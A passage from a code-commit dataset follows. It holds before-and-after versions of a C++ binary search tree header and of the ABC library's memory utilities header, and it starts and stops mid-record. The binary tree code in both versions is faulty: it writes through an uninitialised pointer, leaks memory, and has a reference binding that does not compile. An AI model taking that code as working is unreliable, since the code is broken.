service_->extension_prefs()->GetDisableReasons(extension_id));\n EXPECT_TRUE(GetExtensionDisabledGlobalError());\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream> \r\n#include <string> \r\n#include <fstream> \r\nusing namespace std;\r\n\r\ntemplate<typename T>\r\nstruct Node\r\n{\r\n\tT x;\r\n\tNode<T> * left;\r\n\tNode<T> * right;\r\n};\r\n\r\ntemplate<typename T>\r\nclass Tree\r\n{\r\nprivate:\r\n\tNode<T> * root;\r\npublic:\r\n\tTree()\r\n\t{\r\n\t\troot->x = 0;\r\n\t\troot->left = root->right = nullptr;\r\n\t}\r\n\r\n\t~Tree()\r\n\t{\r\n\t\tdeleteNode(root);\r\n\t}\r\n\r\n\tvoid deleteNode(Node<T> * node)\r\n\t{\r\n\t\tif (node == NULL) return;\r\n\t\tdeleteNode(node->left);\r\n\t\tdeleteNode(node->right);\r\n\t\tdelete node;\r\n\t}\r\n\r\n\tT x_() const\r\n\t{\r\n\t\treturn root->x;\r\n\t}\r\n\r\n\tNode<T> * left_() const\r\n\t{\r\n\t\treturn root->left;\r\n\t}\r\n\r\n\tNode<T> * right_() const\r\n\t{\r\n\t\treturn root->right;\r\n\t}\r\n\r\n\tvoid add(const T newEl)\r\n\t{\r\n\t\tif (root == nullptr)\r\n\t\t\troot->x = newEl;\r\n\t\telse\r\n\t\t{\r\n\t\t\tNode<T> * El = new Node<T>;\r\n\t\t\tNode<T> * curEl = new Node<T>;\r\n\t\t\tcurEl = root;\r\n\t\t\twhile (curEl != nullptr)\r\n\t\t\t{\r\n\t\t\t\tEl = curEl;\r\n\t\t\t\tif (newEl > curEl->x)\r\n\t\t\t\t\tcurEl = curEl->right;\r\n\t\t\t\telse\r\n\t\t\t\tif (newEl < curEl->x)\r\n\t\t\t\t\tcurEl = curEl->left;\r\n\t\t\t\telse return;\r\n\t\t\t}\r\n\t\t\tif (newEl > El->x)\r\n\t\t\t{\r\n\t\t\t\tEl->right = new Node<T>;\r\n\t\t\t\tEl->right->x = newEl;\r\n\t\t\t\tEl->right->left = El->right->right = nullptr;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\tEl->left = new Node<T>;\r\n\t\t\t\tEl->left->x = newEl;\r\n\t\t\t\tEl->left->left = El->left->right = nullptr;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tNode<T> * search(const T x)\r\n\t{\r\n\t\tNode<T> * curEl = root;\r\n\t\twhile (curEl != nullptr)\r\n\t\t{\r\n\t\t\tif (curEl->x == x)\r\n\t\t\t\treturn curEl;\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\tif (x > curEl->x)\r\n\t\t\t\t\tcurEl = curEl->right;\r\n\t\t\t\telse curEl = curEl->left;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn nullptr;\r\n\t}\r\n\r\n\tvoid fIn(string filename)\r\n\t{\r\n\t\tifstream fin;\r\n\t\tfin.open(filename);\r\n\t\tif (!fin.is_open())\r\n\t\t\tcout << \"The file isn't find\" << endl;\r\n\t\telse\r\n\t\t{\r\n\t\t\tdeleteNode(root);\r\n\t\t\troot = new Node<T>;\r\n\t\t\troot->x = 0;\r\n\t\t\troot->left = root->right = nullptr;\r\n\t\t\tif (fin.eof()) return;\r\n\t\t\telse\r\n\t\t\t{\r\n<commit_msg>Update BinaryTree.hpp<commit_after>#include <iostream> \r\n#include <string> \r\n#include <fstream> \r\nusing namespace std;\r\n\r\ntemplate<typename T>\r\nstruct Node\r\n{\r\n\tT x;\r\n\tNode<T> * left;\r\n\tNode<T> * right;\r\n\tNode(T const& value) : x{value}, left{nullptr}, right{nullptr} {}\r\n};\r\n\r\ntemplate<typename T>\r\nclass Tree\r\n{\r\nprivate:\r\n\tNode<T> * root;\r\npublic:\r\n\tTree()\r\n\t{\r\n\t\troot = nullptr;\r\n\t}\r\n\r\n\t~Tree()\r\n\t{\r\n\t\tdeleteNode(root);\r\n\t}\r\n\r\n\tvoid deleteNode(Node<T> * node)\r\n\t{\r\n\t\tif (node == NULL) return;\r\n\t\tdeleteNode(node->left);\r\n\t\tdeleteNode(node->right);\r\n\t\tdelete node;\r\n\t}\r\n\r\n\tT x_() const\r\n\t{\r\n\t\treturn root->x;\r\n\t}\r\n\r\n\tNode<T> * left_() const\r\n\t{\r\n\t\treturn root->left;\r\n\t}\r\n\r\n\tNode<T> * right_() const\r\n\t{\r\n\t\treturn root->right;\r\n\t}\r\n\r\n\tvoid add(const T newEl)\r\n\t{\r\n\t\tif (root == nullptr)\r\n\t\t\troot = new Node(newEl);\r\n\t\telse\r\n\t\t{\r\n\t\t\tNode<T> * El = new Node<T>;\r\n\t\t\tNode<T> *& curEl = new Node<T>;\r\n\t\t\tcurEl = root;\r\n\t\t\twhile (curEl != nullptr)\r\n\t\t\t{\r\n\t\t\t\tEl = curEl;\r\n\t\t\t\tif (newEl > curEl->x)\r\n\t\t\t\t\tcurEl = curEl->right;\r\n\t\t\t\telse\r\n\t\t\t\tif (newEl < curEl->x)\r\n\t\t\t\t\tcurEl = curEl->left;\r\n\t\t\t\telse return;\r\n\t\t\t}\r\n\t\t\tif (newEl > El->x)\r\n\t\t\t{\r\n\t\t\t\tEl->right = new Node<T>;\r\n\t\t\t\tEl->right->x = newEl;\r\n\t\t\t\tEl->right->left = El->right->right = nullptr;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\tEl->left = new Node<T>;\r\n\t\t\t\tEl->left->x = newEl;\r\n\t\t\t\tEl->left->left = El->left->right = nullptr;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tNode<T> * search(const T& x)\r\n\t{\r\n\t\tNode<T> * curEl = root;\r\n\t\twhile (curEl != nullptr)\r\n\t\t{\r\n\t\t\tif (curEl->x == x)\r\n\t\t\t\tbreak;\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\tif (x > curEl->x)\r\n\t\t\t\t\tcurEl = curEl->right;\r\n\t\t\t\telse curEl = curEl->left;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn curEl;\r\n\t}\r\n\r\n\tvoid fIn(string filename)\r\n\t{\r\n\t\tifstream fin;\r\n\t\tfin.open(filename);\r\n\t\tif (!fin.is_open())\r\n\t\t\tcout << \"The file isn't find\" << endl;\r\n\t\telse\r\n\t\t{\r\n\t\t\tdeleteNode(root);\r\n\t\t\troot = new Node<T>;\r\n\t\t\troot->x = 0;\r\n\t\t\troot->left = root->right = nullptr;\r\n\t\t\tif (fin.eof()) return;\r\n\t\t\telse\r\n\t\t\t{\r\n<|endoftext|>"} {"text":"<commit_before>\/* -*- coding: utf-8; mode: c++; tab-width: 3; indent-tabs-mode: nil -*-\n\nCopyright 2010, 2011, 2012, 2013, 2014\nRaffaello D. Di Napoli\n\nThis file is part of Application-Building Components (henceforth referred to as ABC).\n\nABC is free software: you can redistribute it and\/or modify it under the terms of the GNU General\nPublic License as published by the Free Software Foundation, either version 3 of the License, or (at\nyour option) any later version.\n\nABC is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the\nimplied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public\nLicense for more details.\n\nYou should have received a copy of the GNU General Public License along with ABC. If not, see\n<http:\/\/www.gnu.org\/licenses\/>.\n--------------------------------------------------------------------------------------------------*\/\n\n#ifndef _ABC_MEMORY_HXX\n#define _ABC_MEMORY_HXX\n\n#include <abc\/core.hxx>\n#ifdef ABC_CXX_PRAGMA_ONCE\n #pragma once\n#endif\n\n#include <abc\/exception.hxx>\n\n\n#if ABC_HOST_API_POSIX\n\n #include <stdlib.h> \/\/ free() malloc() realloc()\n #include <memory.h> \/\/ memcpy() memmove() memset()\n\n#elif ABC_HOST_API_WIN32 \/\/if ABC_HOST_API_POSIX\n\n \/\/ Clean up pollution caused by previous headers.\n extern \"C\" {\n\n \/\/ Rtl*Memory*\n\n #undef RtlZeroMemory\n WINBASEAPI void WINAPI RtlZeroMemory(void UNALIGNED * pDst, size_t cb);\n\n #undef RtlFillMemory\n WINBASEAPI void WINAPI RtlFillMemory(void UNALIGNED * pDst, size_t cb, UCHAR iValue);\n\n #undef RtlFillMemoryUlong\n WINBASEAPI void WINAPI RtlFillMemoryUlong(void * pDst, size_t cb, ULONG iValue);\n\n #undef RtlFillMemoryUlonglong\n WINBASEAPI void WINAPI RtlFillMemoryUlonglong(void * pDst, size_t cb, ULONGLONG iValue);\n\n #undef RtlCopyMemory\n WINBASEAPI void WINAPI RtlCopyMemory(\n void UNALIGNED * pDst, void UNALIGNED const * pSrc, size_t cb\n );\n\n #undef RtlMoveMemory\n WINBASEAPI void WINAPI RtlMoveMemory(\n void UNALIGNED * pDst, void UNALIGNED const * pSrc, size_t cb\n );\n\n } \/\/extern \"C\"\n\n#endif \/\/if ABC_HOST_API_POSIX … elif ABC_HOST_API_WIN32\n\n\/** TODO: comment or remove.\n*\/\n#if ABC_HOST_GCC\n #define _abc_alloca(cb) \\\n __builtin_alloca((cb))\n#elif ABC_HOST_MSC\n extern \"C\" void * ABC_STL_CALLCONV _alloca(size_t cb);\n #define _abc_alloca(cb) \\\n _alloca(cb)\n#endif\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ :: globals - standard new\/delete operators\n\n\n#if ABC_HOST_MSC\n #pragma warning(push)\n \/\/ “'operator': exception specification does not match previous declaration”\n #pragma warning(disable: 4986)\n#endif\n\nvoid * ABC_STL_CALLCONV operator new(size_t cb) ABC_STL_NOEXCEPT_FALSE((std::bad_alloc));\nvoid * ABC_STL_CALLCONV operator new[](size_t cb) ABC_STL_NOEXCEPT_FALSE((std::bad_alloc));\nvoid * ABC_STL_CALLCONV operator new(size_t cb, std::nothrow_t const &) ABC_STL_NOEXCEPT_TRUE();\nvoid * ABC_STL_CALLCONV operator new[](size_t cb, std::nothrow_t const &) ABC_STL_NOEXCEPT_TRUE();\n\n\nvoid ABC_STL_CALLCONV operator delete(void * p) ABC_STL_NOEXCEPT_TRUE();\nvoid ABC_STL_CALLCONV operator delete[](void * p) ABC_STL_NOEXCEPT_TRUE();\nvoid ABC_STL_CALLCONV operator delete(void * p, std::nothrow_t const &) ABC_STL_NOEXCEPT_TRUE();\nvoid ABC_STL_CALLCONV operator delete[](void * p, std::nothrow_t const &) ABC_STL_NOEXCEPT_TRUE();\n\n#if ABC_HOST_MSC\n #pragma warning(pop)\n#endif\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ abc::memory::freeing_deleter\n\n\nnamespace abc {\n\nnamespace memory {\n\n\/\/ Forward declaration.\ntemplate <typename T>\nvoid free(T const * pt);\n\n\n\/** Deleter that deallocates memory using memory::free().\n*\/\ntemplate <typename T>\nstruct freeing_deleter {\n\n \/** Deallocates the specified memory block.\n\n pt\n Pointer to the object to delete.\n *\/\n void operator()(T * pt) const {\n free(pt);\n }\n};\n\n\/\/ Specialization for arrays.\ntemplate <typename T>\nstruct freeing_deleter<T[]> :\n public freeing_deleter<T> {\n\n \/** Deallocates the specified array. See also freeing_deleter<T>::operator()().\n\n pt\n Pointer to the array to deallocate.\n *\/\n template <typename T2>\n void operator()(T2 * pt) const {\n freeing_deleter<T>::operator()(pt);\n }\n};\n\n} \/\/namespace memory\n\n} \/\/namespace abc\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ abc::memory::conditional_deleter\n\n\nnamespace abc {\n\nnamespace memory {\n\n\/** Wrapper that invokes a deleter if and only if a set condition is true.\n*\/\ntemplate <typename T, typename TDeleter = std::default_delete<T>>\nclass conditional_deleter :\n public TDeleter {\npublic:\n\n \/** Constructor.\n\n bEnabled\n If true, the deleter will delete objects when invoked; if false, it will do nothing.\n cd\n Source deleter.\n *\/\n conditional_deleter(bool bEnabled) :\n TDeleter(),\n m_bEnabled(bEnabled) {\n }\n template <typename T2, typename TDeleter2>\n conditional_deleter(conditional_deleter<T2, TDeleter2> const & cd) :\n TDeleter(static_cast<TDeleter2 const &>(cd)),\n m_bEnabled(cd.enabled()) {\n }\n\n\n \/** Deletes the specified object if the condition set in the constructor was true.\n\n pt\n Pointer to the object to delete.\n *\/\n void operator()(T * pt) const {\n if (m_bEnabled) {\n TDeleter::operator()(pt);\n }\n }\n\n\n \/** Returns true if the deleter is enabled.\n\n return\n true if the deleter is enable, or false otherwise.\n *\/\n bool enabled() const {\n return m_bEnabled;\n }\n\n\nprotected:\n\n bool m_bEnabled;\n};\n\n\/\/ Specialization for arrays.\ntemplate <typename T, typename TDeleter>\nclass conditional_deleter<T[], TDeleter> :\n public conditional_deleter<T, TDeleter> {\npublic:\n\n \/** See conditional_deleter<T>::conditional_deleter().\n *\/\n conditional_deleter(bool bEnabled) :\n conditional_deleter<T, TDeleter>(bEnabled) {\n }\n template <typename T2, typename TDeleter2>\n conditional_deleter(conditional_deleter<T2, TDeleter2> const & cd) :\n conditional_deleter<T, TDeleter>(cd) {\n }\n\n\n \/** Deletes the specified array if the condition set in the constructor was true. See also\n conditional_deleter<T, TDeleter>::operator()().\n\n pt\n Pointer to the array to delete.\n *\/\n template <typename T2>\n void operator()(T2 * pt) const {\n if (this->m_bEnabled) {\n TDeleter::operator()(pt);\n }\n }\n};\n\n} \/\/namespace memory\n\n} \/\/namespace abc\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ abc::memory globals - management\n\n\nnamespace abc {\n\nnamespace memory {\n\n\/** Requests the dynamic allocation of a memory block of the specified number of bytes.\n\nTODO: comment signature.\n*\/\ninline void * _raw_alloc(size_t cb) {\n void * p(::malloc(cb));\n if (!p) {\n ABC_THROW(memory_allocation_error, ());\n }\n return p;\n}\n\n\n\/** Resizes a dynamically allocated memory block.\n\nTODO: comment signature.\n*\/\ninline void * _raw_realloc(void * p, size_t cb) {\n p = ::realloc(p, cb);\n if (!p) {\n ABC_THROW(memory_allocation_error, ());\n }\n return p;\n}\n\n\n\/** Requests the dynamic allocation of a memory block large enough to contain c objects of type T,\nplus an additional cbExtra bytes. With specialization that ignores types (void) and allocates the\nspecified number of bytes.\n\nTODO: comment signature.\n*\/\ntemplate <typename T>\ninline std::unique_ptr<T, freeing_deleter<T>> alloc(size_t c = 1, size_t cbExtra = 0) {\n return std::unique_ptr<T, freeing_deleter<T>>(\n static_cast<T *>(_raw_alloc(sizeof(T) * c + cbExtra))\n );\n}\ntemplate <>\ninline std::unique_ptr<void, freeing_deleter<void>> alloc(\n size_t cb \/*= 1*\/, size_t cbExtra \/*= 0*\/\n) {\n return std::unique_ptr<void, freeing_deleter<void>>(_raw_alloc(cb + cbExtra));\n}\n\n\n\/** Releases a block of dynamically allocated memory.\n\npt\n Pointer to the memory block to be released.\n*\/\ntemplate <typename T>\ninline void free(T const * pt) {\n ::free(const_cast<T *>(pt));\n}\n\n\n\/** Changes the size of a block of dynamically allocated memory. Both overloads have a\nspecialization that ignores pointer types (void), and allocates the specified number of bytes.\n\nTODO: comment signature.\n*\/\ntemplate <typename T>\ninline T * realloc(T * pt, size_t c, size_t cbExtra = 0) {\n return static_cast<T *>(_raw_realloc(pt, sizeof(T) * c + cbExtra));\n}\ntemplate <>\ninline void * realloc(void * p, size_t cb, size_t cbExtra \/*= 0*\/) {\n return _raw_realloc(p, cb + cbExtra);\n}\ntemplate <typename T>\ninline void realloc(std::unique_ptr<T, freeing_deleter<T>> * ppt, size_t c, size_t cbExtra = 0) {\n typedef typename std::unique_ptr<T, freeing_deleter<T>>::element_type TElt;\n TElt * pt(static_cast<TElt *>(_raw_realloc(ppt->get(), sizeof(TElt) * c + cbExtra)));\n ppt->release();\n ppt->reset(pt);\n}\ntemplate <>\ninline void realloc(\n std::unique_ptr<void, freeing_deleter<void>> * pp, size_t cb, size_t cbExtra \/*= 0*\/\n) {\n void * p(_raw_realloc(pp->get(), cb + cbExtra));\n pp->release();\n pp->reset(p);\n}\n\n} \/\/namespace memory\n\n} \/\/namespace abc\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ abc::memory globals - manipulation\n\n\nnamespace abc {\n\nnamespace memory {\n\n\/** Sets to the value 0 every item in an array.\n\nTODO: comment signature.\n*\/\ntemplate <typename T>\ninline T * clear(T * ptDst, size_t c = 1) {\n return static_cast<T *>(clear<void>(ptDst, sizeof(T) * c));\n}\ntemplate <>\ninline void * clear(void * pDst, size_t cb \/*= 1*\/) {\n#if ABC_HOST_API_POSIX\n ::memset(pDst, 0, cb);\n#elif ABC_HOST_API_WIN32\n ::RtlZeroMemory(pDst, cb);\n#else\n #error TODO-PORT: HOST_API\n#endif\n return pDst;\n}\n\n\n\/** Copies memory, by number of items. With specialization that ignores pointer types (void), and\ncopies the specified number of bytes.\n\nTODO: comment signature.\n*\/\ntemplate <typename T>\ninline T * copy(T * ptDst, T const * ptSrc) {\n \/\/ Optimization: if the copy can be made by mem-reg-mem transfers, avoid calling a function, so\n \/\/ that the compiler can inline the copy.\n switch (sizeof(T)) {\n case sizeof(int8_t):\n *reinterpret_cast<int8_t *>(ptDst) = *reinterpret_cast<int8_t const *>(ptSrc);\n break;\n case sizeof(int16_t):\n *reinterpret_cast<int16_t *>(ptDst) = *reinterpret_cast<int16_t const *>(ptSrc);\n break;\n case sizeof(int32_t):\n *reinterpret_cast<int32_t *>(ptDst) = *reinterpret_cast<int32_t const *>(ptSrc);\n break;\n case sizeof(int64_t):\n *reinterpret_cast<int64_t *>(ptDst) = *reinterpret_cast<int64_t const *>(ptSrc);\n break;\n default:\n copy<void>(ptDst, ptSrc, sizeof(T));\n break;\n }\n return static_cast<T *>(ptDst);\n}\n\/\/ Nobody should want to use this, but it’s here for consistency.\ntemplate <>\ninline void * copy(void * pDst, void const * pSrc) {\n *reinterpret_cast<int8_t *>(pDst) = *reinterpret_cast<int8_t const *>(pSrc);\n return pDst;\n}\ntemplate <typename T>\ninline T * copy(T * ptDst, T const * ptSrc, size_t c) {\n return static_cast<T *>(copy<void>(ptDst, ptSrc, sizeof(T) * c));\n}\ntemplate <>\ninline void * copy(void * pDst, void const * pSrc, size_t cb) {\n#if ABC_HOST_API_POSIX\n ::memcpy(pDst, pSrc, cb);\n#elif ABC_HOST_API_WIN32\n ::RtlMoveMemory(pDst, pSrc, cb);\n#else\n #error TODO-PORT: HOST_API\n#endif\n return pDst;\n}\n\n\n\/** Copies possibly overlapping memory, by number of items. With specialization that ignores pointer\ntypes (void), and copies the specified number of bytes.\n\nTODO: comment signature.\n*\/\ntemplate <typename T>\ninline T * move(T * ptDst, T const * ptSrc, size_t c) {\n return static_cast<T *>(move<void>(ptDst, ptSrc, sizeof(T) * c));\n}\ntemplate <>\ninline void * move(void * pDst, void const * pSrc, size_t cb) {\n#if ABC_HOST_API_POSIX\n ::memmove(pDst, pSrc, cb);\n#elif ABC_HOST_API_WIN32\n ::RtlMoveMemory(pDst, pSrc, cb);\n#else\n #error TODO-PORT: HOST_API\n#endif\n return pDst;\n}\n\n\n\/** Copies a value over each item of a static array.\n\nTODO: comment signature.\n*\/\ntemplate <typename T>\ninline T * set(T * ptDst, T const & tValue, size_t c) {\n switch (sizeof(T)) {\n#if ABC_HOST_API_POSIX\n case sizeof(int8_t):\n ::memset(ptDst, tValue, c);\n break;\n#elif ABC_HOST_API_WIN32\n case sizeof(UCHAR):\n ::RtlFillMemory(ptDst, c, tValue);\n break;\n#endif\n default:\n for (T const * ptDstMax(ptDst + c); ptDst < ptDstMax; ++ptDst) {\n copy(ptDst, &tValue);\n }\n break;\n }\n return ptDst;\n}\n\n} \/\/namespace memory\n\n} \/\/namespace abc\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n#endif \/\/ifdef _ABC_MEMORY_HXX\n\n<commit_msg>Refactor abc::memory::alloc() to support std::unique_ptr<T[]><commit_after>\/* -*- coding: utf-8; mode: c++; tab-width: 3; indent-tabs-mode: nil -*-\n\nCopyright 2010, 2011, 2012, 2013, 2014\nRaffaello D. Di Napoli\n\nThis file is part of Application-Building Components (henceforth referred to as ABC).\n\nABC is free software: you can redistribute it and\/or modify it under the terms of the GNU General\nPublic License as published by the Free Software Foundation, either version 3 of the License, or (at\nyour option) any later version.\n\nABC is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the\nimplied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public\nLicense for more details.\n\nYou should have received a copy of the GNU General Public License along with ABC. If not, see\n<http:\/\/www.gnu.org\/licenses\/>.\n--------------------------------------------------------------------------------------------------*\/\n\n#ifndef _ABC_MEMORY_HXX\n#define _ABC_MEMORY_HXX\n\n#include <abc\/core.hxx>\n#ifdef ABC_CXX_PRAGMA_ONCE\n #pragma once\n#endif\n\n#include <abc\/exception.hxx>\n\n\n#if ABC_HOST_API_POSIX\n\n #include <stdlib.h> \/\/ free() malloc() realloc()\n #include <memory.h> \/\/ memcpy() memmove() memset()\n\n#elif ABC_HOST_API_WIN32 \/\/if ABC_HOST_API_POSIX\n\n \/\/ Clean up pollution caused by previous headers.\n extern \"C\" {\n\n \/\/ Rtl*Memory*\n\n #undef RtlZeroMemory\n WINBASEAPI void WINAPI RtlZeroMemory(void UNALIGNED * pDst, size_t cb);\n\n #undef RtlFillMemory\n WINBASEAPI void WINAPI RtlFillMemory(void UNALIGNED * pDst, size_t cb, UCHAR iValue);\n\n #undef RtlFillMemoryUlong\n WINBASEAPI void WINAPI RtlFillMemoryUlong(void * pDst, size_t cb, ULONG iValue);\n\n #undef RtlFillMemoryUlonglong\n WINBASEAPI void WINAPI RtlFillMemoryUlonglong(void * pDst, size_t cb, ULONGLONG iValue);\n\n #undef RtlCopyMemory\n WINBASEAPI void WINAPI RtlCopyMemory(\n void UNALIGNED * pDst, void UNALIGNED const * pSrc, size_t cb\n );\n\n #undef RtlMoveMemory\n WINBASEAPI void WINAPI RtlMoveMemory(\n void UNALIGNED * pDst, void UNALIGNED const * pSrc, size_t cb\n );\n\n } \/\/extern \"C\"\n\n#endif \/\/if ABC_HOST_API_POSIX … elif ABC_HOST_API_WIN32\n\n\/** TODO: comment or remove.\n*\/\n#if ABC_HOST_GCC\n #define _abc_alloca(cb) \\\n __builtin_alloca((cb))\n#elif ABC_HOST_MSC\n extern \"C\" void * ABC_STL_CALLCONV _alloca(size_t cb);\n #define _abc_alloca(cb) \\\n _alloca(cb)\n#endif\n\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ :: globals - standard new\/delete operators\n\n\n#if ABC_HOST_MSC\n #pragma warning(push)\n \/\/ “'operator': exception specification does not match previous declaration”\n #pragma warning(disable: 4986)\n#endif\n\nvoid * ABC_STL_CALLCONV operator new(size_t cb) ABC_STL_NOEXCEPT_FALSE((std::bad_alloc));\nvoid * ABC_STL_CALLCONV operator new[](size_t cb) ABC_STL_NOEXCEPT_FALSE((std::bad_alloc));\nvoid * ABC_STL_CALLCONV operator new(size_t cb, std::nothrow_t const &) ABC_STL_NOEXCEPT_TRUE();\nvoid * ABC_STL_CALLCONV operator new[](size_t cb, std::nothrow_t const &) ABC_STL_NOEXCEPT_TRUE();\n\n\nvoid ABC_STL_CALLCONV operator delete(void * p) ABC_STL_NOEXCEPT_TRUE();\nvoid ABC_STL_CALLCONV operator delete[](void * p) ABC_STL_NOEXCEPT_TRUE();\nvoid ABC_STL_CALLCONV operator delete(void * p, std::nothrow_t const &) ABC_STL_NOEXCEPT_TRUE();\nvoid ABC_STL_CALLCONV operator delete[](void * p, std::nothrow_t const &) ABC_STL_NOEXCEPT_TRUE();\n\n#if ABC_HOST_MSC\n #pragma warning(pop)\n#endif\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ abc::memory::freeing_deleter\n\n\nnamespace abc {\n\nnamespace memory {\n\n\/\/ Forward declaration.\ntemplate <typename T>\nvoid free(T const * pt);\n\n\n\/** Deleter that deallocates memory using memory::free().\n*\/\ntemplate <typename T>\nstruct freeing_deleter {\n\n \/** Deallocates the specified memory block.\n\n pt\n Pointer to the object to delete.\n *\/\n void operator()(T * pt) const {\n free(pt);\n }\n};\n\n\/\/ Specialization for arrays.\ntemplate <typename T>\nstruct freeing_deleter<T[]> :\n public freeing_deleter<T> {\n\n \/** Deallocates the specified array. See also freeing_deleter<T>::operator()().\n\n pt\n Pointer to the array to deallocate.\n *\/\n template <typename T2>\n void operator()(T2 * pt) const {\n freeing_deleter<T>::operator()(pt);\n }\n};\n\n} \/\/namespace memory\n\n} \/\/namespace abc\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ abc::memory::conditional_deleter\n\n\nnamespace abc {\n\nnamespace memory {\n\n\/** Wrapper that invokes a deleter if and only if a set condition is true.\n*\/\ntemplate <typename T, typename TDeleter = std::default_delete<T>>\nclass conditional_deleter :\n public TDeleter {\npublic:\n\n \/** Constructor.\n\n bEnabled\n If true, the deleter will delete objects when invoked; if false, it will do nothing.\n cd\n Source deleter.\n *\/\n conditional_deleter(bool bEnabled) :\n TDeleter(),\n m_bEnabled(bEnabled) {\n }\n template <typename T2, typename TDeleter2>\n conditional_deleter(conditional_deleter<T2, TDeleter2> const & cd) :\n TDeleter(static_cast<TDeleter2 const &>(cd)),\n m_bEnabled(cd.enabled()) {\n }\n\n\n \/** Deletes the specified object if the condition set in the constructor was true.\n\n pt\n Pointer to the object to delete.\n *\/\n void operator()(T * pt) const {\n if (m_bEnabled) {\n TDeleter::operator()(pt);\n }\n }\n\n\n \/** Returns true if the deleter is enabled.\n\n return\n true if the deleter is enable, or false otherwise.\n *\/\n bool enabled() const {\n return m_bEnabled;\n }\n\n\nprotected:\n\n bool m_bEnabled;\n};\n\n\/\/ Specialization for arrays.\ntemplate <typename T, typename TDeleter>\nclass conditional_deleter<T[], TDeleter> :\n public conditional_deleter<T, TDeleter> {\npublic:\n\n \/** See conditional_deleter<T>::conditional_deleter().\n *\/\n conditional_deleter(bool bEnabled) :\n conditional_deleter<T, TDeleter>(bEnabled) {\n }\n template <typename T2, typename TDeleter2>\n conditional_deleter(conditional_deleter<T2, TDeleter2> const & cd) :\n conditional_deleter<T, TDeleter>(cd) {\n }\n\n\n \/** Deletes the specified array if the condition set in the constructor was true. See also\n conditional_deleter<T, TDeleter>::operator()().\n\n pt\n Pointer to the array to delete.\n *\/\n template <typename T2>\n void operator()(T2 * pt) const {\n if (this->m_bEnabled) {\n TDeleter::operator()(pt);\n }\n }\n};\n\n} \/\/namespace memory\n\n} \/\/namespace 